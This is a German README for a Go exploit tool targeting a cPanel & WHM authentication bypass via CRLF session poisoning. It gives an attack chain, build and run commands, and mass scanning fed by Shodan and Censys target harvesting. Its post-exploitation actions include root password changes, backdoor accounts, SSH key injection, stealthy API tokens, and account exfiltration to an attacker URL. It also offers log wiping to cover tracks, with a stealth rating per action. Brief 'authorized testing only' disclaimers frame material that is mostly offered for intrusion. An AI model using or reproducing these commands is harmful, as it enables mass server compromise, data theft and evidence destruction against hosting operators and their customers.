
Exploit-PoC für CVE-2026-41940, eine Umgehung der Authentifizierung von cPanel & WHM über CRLF-Injection. Enthält Massen-Scanning, Post-Exploitation-Aktionen und eine interaktive Shell für autorisierte Tests.
Tool von: Ishan Oshada | GitHub
⚠️ NUR FÜR AUTORISIERTE SICHERHEITSTESTS. Unautorisierte Nutzung ist illegal.


CVE-2026-41940 ist eine CRLF-Injection-Schwachstelle in cPanel & WHM (Versionen < 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5).
Die Funktion saveSession() schreibt Sitzungsdaten nach der Anwendung von filter_sessiondata(), aber der Filter wird zu spät angewendet. Durch das Injizieren von CRLF-Zeichen (\r\n) in den Authorization: Basic-Header kann ein Angreifer die Sitzungsdatei auf der Festplatte mit beliebigen Schlüssel-Wert-Paaren (z. B. hasroot=1, tfa_verified=1, user=root) vergiften.
Wenn die vergiftete Sitzung später geladen wird, gewährt cPanel/WHM vollen Root-Zugriff ohne Passwort.
--verbose) – zeigt vollständige HTTP-Anfragen/-Antwortengit clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC
go build -o cpanel_sniper.exe main.go
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
go run main.go -u https://target.com:2087
Statt aus dem Quellcode zu bauen, können Sie die neuesten stabilen ausführbaren Dateien direkt aus dem Repository herunterladen. Diese werden automatisch für jedes Update generiert:
Hinweis: Bei Linux oder macOS nach dem Download Ausführungsrechte vergeben:
# Grundlegender Scan
go run main.go -u https://target.com:2087
# Alle cPanel-Konten auflisten
go run main.go -u https://target.com:2087 -action list
# Interaktive WHM-Shell
go run main.go -u https://target.com:2087 -action shell
# Massen-Scan mit urls.txt
go run main.go -l urls.txt -t 20 -o results.json
Innerhalb der Shell (-action shell) können diese Befehle verwendet werden:
Das Repository enthält urls.txt mit 1000 Beispielzielen für den Massen-Scan.
https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...
# Grundlegender Massen-Scan (10 Threads)
go run main.go -l urls.txt
# Schneller Massen-Scan (50 Threads, Ergebnisse speichern)
go run main.go -l urls.txt -t 50 -o results.json
# Massen-Scan mit Post-Exploit-Aktion
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json
# Massen-Scan mit Verbose-Ausgabe
go run main.go -l urls.txt -t 10 --verbose
# Massen-Scan mit erhöhtem Timeout (langsame Netzwerke)
go run main.go -l urls.txt -t 30 -timeout 30
# IP-Bereich generieren (Linux/macOS)
for i in {1..254}; do echo "https://192.168.1.$i:2087"; done > urls.txt
# IP-Bereich generieren (Windows PowerShell)
1..254 | ForEach-Object { "https://192.168.1.$($_):2087" } > urls.txt
# Von Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | awk '{print "https://"$1":"$2}' > urls.txt
# Von Censys
censys search 'services.port=2087' | awk '{print "https://"$1":2087"}' > urls.txt
╔════════════════════════════════════════════════════════════════╗
║ VERWUNDBARES ZIEL ERKANNT ║
╠════════════════════════════════════════════════════════════════╣
║ Ziel: https://target.example.com:2087 ║
║ Token: /cpsess1234567890 ║
║ Version: 11.76.0.22 ║
║ Sitzung: :od2aMhg5zJeQunUy... ║
║ API-URL: https://target.example.com:2087/cpsess1234567890/json-api/version ║
╚════════════════════════════════════════════════════════════════╝
[+] Aktion: LIST
• Benutzer: admin | Domain: example.com
• Benutzer: backup | Domain: backup.example.com
• Benutzer: client1 | Domain: client1.com
════════════════════════════════════════════════════════════════════
SCAN-ZUSAMMENFASSUNG
════════════════════════════════════════════════════════════════════
Gescannte Ziele insgesamt: 1000
Verwundbare Ziele: 47
Verstrichene Zeit: 125.34 Sekunden
VERWUNDBARE ZIELE:
────────────────────────────────────────────────────────────────
1. https://192.168.1.15:2087
Token: /cpsess1111111111
Version: 11.76.0.22
Sitzung: :od2aMhg5zJeQunUy...
2. https://192.168.1.42:2087
Token: /cpsess2222222222
Version: 11.86.0.15
Sitzung: Km2psnYR9w3rRkLU...
3. https://example.com:2087
Token: /cpsess3333333333
Version: 11.118.0.42
Sitzung: Xk9mQrNtPw3sVbLm...
════════════════════════════════════════════════════════════════════
[✓] Ergebnisse gespeichert in: results.json
go build -o cpanel_sniper.exe main.go
cpanel_sniper.exe -u https://target.com:2087
go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
./cpanel_sniper -u https://target.com:2087
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Windows
GOOS=windows GOARCH=amd64 go build -o cpanel_sniper_windows.exe main.go
# Linux
GOOS=linux GOARCH=amd64 go build -o cpanel_sniper_linux main.go
# macOS Intel
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go
# macOS M1/M2
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go
# Linux ARM (Raspberry Pi)
GOOS=linux GOARCH=arm64 go build -o cpanel_sniper_linux_arm64 main.go
CVE-2026-41940-Exploit-PoC/
├── README.md # Dokumentation
├── bin/ # Vorgefertigte Multi-Plattform-Executables
│ ├── windows_x64/
│ ├── linux_x64/
│ └── ...
├── main.go # Hauptquellcode
├── urls.txt # 1000 Beispielziele
├── go.mod # Go-Moduldatei
├── .gitignore # Git-Ignore-Datei
└── results.json # Ausgabedatei (generiert)
Dieses Tool dient nur Bildungszwecken und autorisierten Penetrationstests.
Unautorisierter Zugriff auf Computersysteme ist illegal gemäß:
Der Autor übernimmt keine Haftung für Missbrauch. Nutzung auf eigene Gefahr.
Durch die Nutzung dieses Tools stimmen Sie zu, dass Sie die ordnungsgemäße Autorisierung zum Testen der Zielsysteme besitzen.
Ishan Oshada
Wenn Sie dieses Tool nützlich finden:
Viel Spaß beim Hacken! 🚀
Denken Sie daran: Mit großer Macht kommt große Verantwortung. Nutzen Sie es ethisch.
| Stufe | Aktion | Beschreibung |
|---|
| 1 | POST /login/?login_only=1 | Pre-Auth-Sitzungscookie mit falschen Anmeldedaten anfordern |
| 2 | GET / + CRLF Authorization-Header | Sitzungsdatei mit hasroot=1, user=root usw. vergiften |
| 3 | GET /scripts2/listaccts | Sitzungscache zwingen, die vergiftete Datei neu zu laden (Propagation) |
| 4 | GET /cpsess<TOKEN>/json-api/version | Root-Zugriff verifizieren – Erfolg = 200 + Versionsdaten |
| Plattform | Speicherort |
|---|
| Windows (x64) | /bin/windows_x64/cpanel_sniper.exe |
| Linux (x64) | /bin/linux_x64/cpanel_sniper |
| Linux (ARM64) | /bin/linux_arm64/cpanel_sniper |
| macOS (Intel) | /bin/mac_intel/cpanel_sniper |
| macOS (M1/M2/M3) | /bin/mac_m1_m2/cpanel_sniper |
| # | Zweck | Befehl |
|---|
| 1 | Grundlegender Einzelziel-Scan | go run main.go -u https://target.com:2087 |
| 2 | Alle cPanel-Konten auflisten | go run main.go -u https://target.com:2087 -action list |
| 3 | Root-Passwort ändern | go run main.go -u https://target.com:2087 -action passwd -passwd "NewP@ssw0rd!2006" |
| 4 | Systembefehl ausführen | go run main.go -u https://target.com:2087 -action cmd -cmd "id && whoami" |
| 5 | Serverinformationen abrufen | go run main.go -u https://target.com:2087 -action info |
| 6 | Backdoor-Benutzer erstellen | go run main.go -u https://target.com:2087 -action adduser -new-user backdoor -new-domain backdoor.com -passwd "Pass123!2006" |
| 7 | API-Token erstellen (heimlich) | go run main.go -u https://target.com:2087 -action apitoken -tokenname mytoken |
| 8 | SSH-Schlüssel injizieren | go run main.go -u https://target.com:2087 -action sshkey -sshkey "ssh-rsa AAAAB3NzaC1yc2E..." |
| 9 | Konto sichern & exfiltrieren | go run main.go -u https://target.com:2087 -action dumpacct -dumpuser victim -exfil https://attacker.com/upload |
| 10 | Logs löschen & Spuren verwischen | go run main.go -u https://target.com:2087 -action wipe |
| 11 | Interaktive WHM-Shell | go run main.go -u https://target.com:2087 -action shell |
| 12 | Massen-Scan aus Datei | go run main.go -l urls.txt -t 20 -o results.json |
| 13 | Ergebnisse als JSON speichern | go run main.go -u https://target.com:2087 -o scan_results.json |
| 14 | Verbose-Debugging aktivieren | go run main.go -u https://target.com:2087 --verbose |
| 15 | Pipe von anderen Tools | cat urls.txt | go run main.go -t 20 |
| 16 | Timeout erhöhen | go run main.go -u https://target.com:2087 -timeout 30 |
| Aktion | Flag | Beschreibung | Tarnungsstufe |
|---|
list | -action list | Alle cPanel-Konten auflisten | Niedrig |
passwd | -action passwd -passwd NEUESPASSWORT | Root-Passwort ändern (laut) | Hoch (erkennbar) |
cmd | -action cmd -cmd "id" | OS-Befehle ausführen | Mittel |
info | -action info | Hostname, Last, Version anzeigen | Niedrig |
adduser | -action adduser -new-user U -new-domain D | Backdoor-cPanel-Benutzer erstellen | Mittel |
apitoken | -action apitoken [-tokenname NAME] | Dauerhaftes API-Token generieren | Sehr niedrig |
sshkey | -action sshkey -sshkey "ssh-rsa..." | SSH-Public-Key in Root injizieren | Sehr niedrig |
dumpacct | -action dumpacct -dumpuser BENUTZER -exfil URL | Konto sichern & exfiltrieren | Mittel |
wipe | -action wipe | WAF deaktivieren, Logs löschen, Verlauf löschen | Spuren verwischen |
shell | -action shell | Interaktive WHM-Shell | Niedrig |
| Befehl | Beschreibung | Beispiel |
|---|
accounts | Alle cPanel-Konten auflisten | accounts |
passwd <pass> | Root-Passwort ändern | passwd MyNewPass123!2006 |
exec <command> | Systembefehl ausführen | exec "cat /etc/passwd" |
info | Serverinformationen anzeigen | info |
version | cPanel-Version anzeigen | version |
help | Verfügbare Befehle anzeigen | help |
exit | Shell beenden | exit |
| Option | Typ | Standard | Beschreibung |
|---|
-u | string | - | Ziel-URL (z. B. https://example.com:2087) |
-l | string | - | Datei mit Zielen (eine pro Zeile) |
-t | int | 10 | Anzahl der gleichzeitigen Threads |
-action | string | - | Post-Exploit-Aktion |
-passwd | string | - | Neues Passwort (für passwd/adduser) |
-cmd | string | - | Auszuführender Befehl (für cmd-Aktion) |
-new-user | string | - | Benutzername für adduser-Aktion |
-new-domain | string | - | Domain für adduser-Aktion |
-tokenname | string | - | Name für API-Token (apitoken-Aktion) |
-sshkey | string | - | Öffentlicher SSH-Schlüssel zum Injizieren (sshkey-Aktion) |
-dumpuser | string | - | Benutzername zum Sichern (dumpacct-Aktion) |
-exfil | string | - | Remote-URL für Exfiltration (dumpacct-Aktion) |
-o | string | - | Ausgabe-JSON-Datei (automatisches Speichern bei Fund) |
--verbose | bool | false | HTTP-Anfragen/-Antworten anzeigen |
-h | bool | false | Hilfemenü anzeigen |
| Branch | Gepatchte Version | Verwundbar < |
|---|
| 11.110 | 11.110.0.97 | 11.110.0.96 |
| 11.118 | 11.118.0.63 | 11.118.0.62 |
| 11.126 | 11.126.0.54 | 11.126.0.53 |
| 11.132 | 11.132.0.29 | 11.132.0.28 |
| 11.134 | 11.134.0.20 | 11.134.0.19 |
| 11.136 | 11.136.0.5 | 11.136.0.4 |